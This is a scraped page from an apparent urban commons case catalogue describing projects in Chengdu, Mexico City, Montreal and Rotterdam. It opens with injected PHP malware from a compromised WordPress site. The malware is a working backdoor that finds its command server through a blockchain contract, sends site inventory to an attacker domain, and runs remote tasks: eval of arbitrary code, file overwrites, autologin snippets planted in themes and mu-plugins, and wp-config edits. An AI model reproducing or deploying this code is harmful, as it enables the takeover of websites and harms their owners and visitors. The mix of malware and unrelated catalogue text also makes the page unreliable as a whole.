// yi_s8 if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/designan/public_html/wp-content/plugins/wp-helper-ac22ee/wp-helper-ac22ee.php', 'ctrl'=>'// yi_s8', 'vis'=>'// tj_pd', 'vis_func'=>'wp_ma27du', 'vis_paths'=>array('/home/designan/public_html/wp-content/plugins/wp-helper-ac22ee/wp-helper-ac22ee.php'), 'opt'=>'_wp_90vcagx5', ); $keys=array(); $keys['id']='e4p'; $keys['ver']='c9'; $keys['caps']='ygo'; $keys['tasks']='rq1'; $keys['interval']='pz4'; $keys['ack_id']='z9i'; $keys['ok']='ob'; $keys['detail']='6uo'; $keys['inv']='sva'; $keys['result']='yny'; $hdr='X-FPI-Auth';$tok='G4Vc2Cic-RJtt_WQ0HKVeUc2UX4RHXQsBIbLExdKOcg';$id='702db71d67d13573';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Other Cases | DesignForCommons

Mayan Village – Chengdu Participatory budgeting

 

Country China
City Mayan Village, Chengdu
Name Chengdu Participatory budgeting
Date 2009
Description The Chengdu municipal government devised participatory budgeting as a ‘top down’ strategy with the scope to promote village- level projects to empower local decision-making. Mayan Village became one of the pilot villages for implementing participatory budgeting village-level public service and social management due to its weak economic development and infrastructure. An allocation of 200,000 Yuan was provided by a two-tier financial management system of Chengdu and Qionglai for this process.
Urban Co-Governance Moderate
Enabling State Strong
Pooling Moderate
Experimentalism Weak
Tech Justice Weak
Project Website http://participedia.net/en/cases/participatory-budgeting-mayan-village-chengdu-china
References, sources, contact person(s) Online article by Participedia.net

 

chengdu

Mexico City – Laboratorio para la Ciudad

Mexico City – Laboratorio para la Ciudad


Image source: https://www.lab4city.org/laboratorio-para-la-ciudad.html
Country Mexico
City Mexico City
Name Laboratorio para la Ciudad
Date 2013
Description of the project The Laboratorio para la Ciudad is a publicly funded innovation lab that connects the City government of Mexico City with citizens, researchers and tech experts. It is an open space where new creative ideas for the future of the cities are developed through workshops, conferences, and collaboration with civil society. The Lab creates civic innovation experiments involving community members and experts to improve the city services and the accountability of the the city administration, with the aim of crafting a more open and participatory governance model.
Urban Co-Governance Moderate
Enabling State Strong
Pooling Moderate
Experimentalism Strong
Tech Justice Moderate
Project Website https://labcd.mx/
References, sources, contact person(s) Interview, Lab gov studies, websites

Contact : laboratorio@labcd.mx

Mexico City

Montreal – ECTO | coworking coopératif

Montreal – ECTO | coworking coopératif






Credits: Image from http://www.percolab.com/en/percolab-portfolio/ecto-cooperative-coworking-space/
Country Canada
City Montreal
Name ECTO | coworking coopératif
Date 2009
Description ECTO is a co-working space where people can come and work independently or with their small businesses. More than a simple co-working place it is also a cooperative, thus following the cooperative governance model. It creates a community spirit by allowing different members to meet, exchange knowledge and work together on a variety of projects.

Its spaces are completely furnished and accessible 24hours per day. It offers a central location, just a few minutes from the Mont-Royal metro, and an open, bright working space.

ECTO organizes collective lunches and other events in order to promote and encourage interaction among its members.

Urban Co-Governance Moderate
Enabling State Moderate
Pooling Moderate
Experimentalism Moderate
Tech Justice Weak
Website http://ecto.coop/
References, sources, contact person(s) Websites ; contact info@ecto.coop ;

http://www.percolab.com/en/percolab-portfolio/ecto-cooperative-coworking-space/

 

Montreal

Rotterdam – Stipo

Rotterdam – Stipo


Credit : 2014 ZOHO Placemaking plinth painting
Country Netherlands
City Rotterdam
Name Stipo
Date NA
Description “STIPO” stands for Strategy, Innovation, Process development and Open-source. STIPO started at the University of Amsterdam in 1992. Their core values are long lasting quality, soul of the city, variation of functions, ownership of citizens and public quality. They work on urban development, co-creation and community-based urban development, area coalitions and setting up collaborative investment strategies, social and technological innovation, incubator strategy, cultural clusters and innovation districts, organic renewal, urban anthropology and urban psychology, social enterprise, public space and placemaking, child-friendly areas, vacant buildings and temporary use, tactical urbanism and long-term strategies, and The City at Eye Level.
Urban Co-Governance Moderate
Enabling State Moderate
Pooling Moderate
Experimentalism Moderate
Tech Justice Weak
Website Official website: www.stipo.nl

Networks: https://thecityateyelevel.com/about-stipo/; https://citiesintransition.eu/interview/stipo

References, sources, contact person(s) Website :  www.stipo.nl

Contact : contact@stipo.nl

 

rotterdam

Rotterdam – Afrikaanderwijk Cooperativa

Rotterdam – Afrikaanderwijk Cooperativa

Image source : http://wijkcooperatie.org/?
Country Netherlands
City Rotterdam
Name Afrikaanderwijk Cooperativa
Date 2013 (birth of the cooperative form)
Object The Afrikaanderwijk Co-operative brings together existing workplaces, entrepreneurs, producers, social organizations and the market. They encourage sustainable local production, knowledge exchange, cultural development and entrepreneurship based on shared responsibility and participation. The goal is to make Rotterdam Zuid, and especially the Africa district, a stronger and more capitalier area with concerned residents and entrepreneurs. The Cooperative increases self-reliance and strengthens infrastructures. In this way they create opportunities to increase the self-organizing capacity of an area through the provision of labor, services and products while at the same time reducing waste of talent.
Urban Co-Governance Moderate
Enabling State Moderate
Pooling Strong
Experimentalism Moderate
Tech Justice Weak
Website http://wijkcooperatie.org/?
References, sources, contact person(s) Website

info@wijkcooperatie.org

Gemaal op Zuid, Pretorialaan 141, 3072 EL Rotterdam